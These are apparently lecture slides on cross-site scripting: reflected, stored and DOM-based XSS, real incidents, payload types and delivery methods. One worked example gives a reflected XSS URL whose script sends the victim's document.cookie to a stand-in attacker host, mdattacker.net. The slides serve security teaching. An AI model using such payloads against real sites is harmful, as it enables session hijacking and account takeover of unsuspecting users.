Chapter 12: Attacking Users: Cross-Site Scripting

Presented By:Chandra Kollipara

Cross-Site Scripting:Cross-Site Scripting attacks are a type of

injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites.

Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user

“Users get compromised because they are not security-conscious”

“You can’t own a web application via XSS.”

Types of XSS:

ReflectedStored DOM-based

Reflected XSS:

http://mdsec.net/error/5/Error.ashx?message=Sorry%2c+an+error+occurred

http://mdsec.net/error/5/Error.ashx?message=<script>alert(1)</script>

Exploiting the vulnerability

http://mdsec.net/error/5/Error.ashx?message=<script>var+i=new+Image;+i.src=”http://mdattacker.net/”%2bdocument.cookie;</script>

var i=new Image; i.src=”http://mdattacker.net/”+ document.cookie;

Q. Why doesn’t the attacker simply host a malicious script on mdattacker.net and feed the user a direct link to this script?

Stored XSS Vulnerability:Data submitted by one user is stored in the

application (typically in a back-end database) and then is displayed to other users without being filtered or sanitized appropriately.

It involves two requests:The attacker posts some crafted data

containing malicious code that the application stores.

A victim views a page containing the attacker’s data, and the malicious code is executed when the script is executed in the victim’s browser.

DOM-based XSS Vulnerability:DOM-based XSS vulnerabilities are more

similar to reflected XSS bugs than to stored XSS bugs.

Their exploitation typically involves an attacker’s inducing a user to access a crafted URL containing malicious code.

The server’s response to that specific request causes the malicious code to be executed.

XSS Attacks in Action:In 2010, the Apache Foundation was compromised

via a refl ected XSS attack within its issue-tracking application.

http://blogs.apache.org/infra/entry/apache_org_04_09_2010In 2005, the social networking site MySpace was

found to be vulnerable to a stored XSS attack. http://namb.la/popular/tech.htmlIn 2009, Twitter fell victim to two XSS worms.www.cgisecurity.com/2009/04/two-xss-worms-slam-

twitter.htmlhttp://blog.mindedsecurity.com/2010/09/twitter-domxss-

wrong-fix-andsomething.html

Payload for XSS Attacks:It involves capturing a victim’s session token,

hijacking her session, and thereby making use of the application “as” the victim, performing arbitrary actions and potentially taking ownership of that user’s account.

Virtual DefacementInjecting Trojan FunctionalityInducing user actions

Virtual Defacement

Injecting Trojan functionality

Delivery MechanismsIn a targeted attack, a forged e-mail may be

sent to a single target user or a small number of users

A URL can be fed to a target user in an instant message.

Content and code on third-party websites can be used to generate requests that trigger XSS flaws

Many web applications implement a function to “tell a friend” or send feedback to site administrators.

For Stored XSS:The two kinds of delivery mechanisms for

stored XSS attacks are in-band and out-of-band.

In-band delivery applies in most cases and is used when the data that is the subject of the vulnerability is supplied to the application via its main web interface.

Out-of-band delivery applies in cases where the data that is the subject of the vulnerability is supplied to the application through some other channel

Thank You Questions?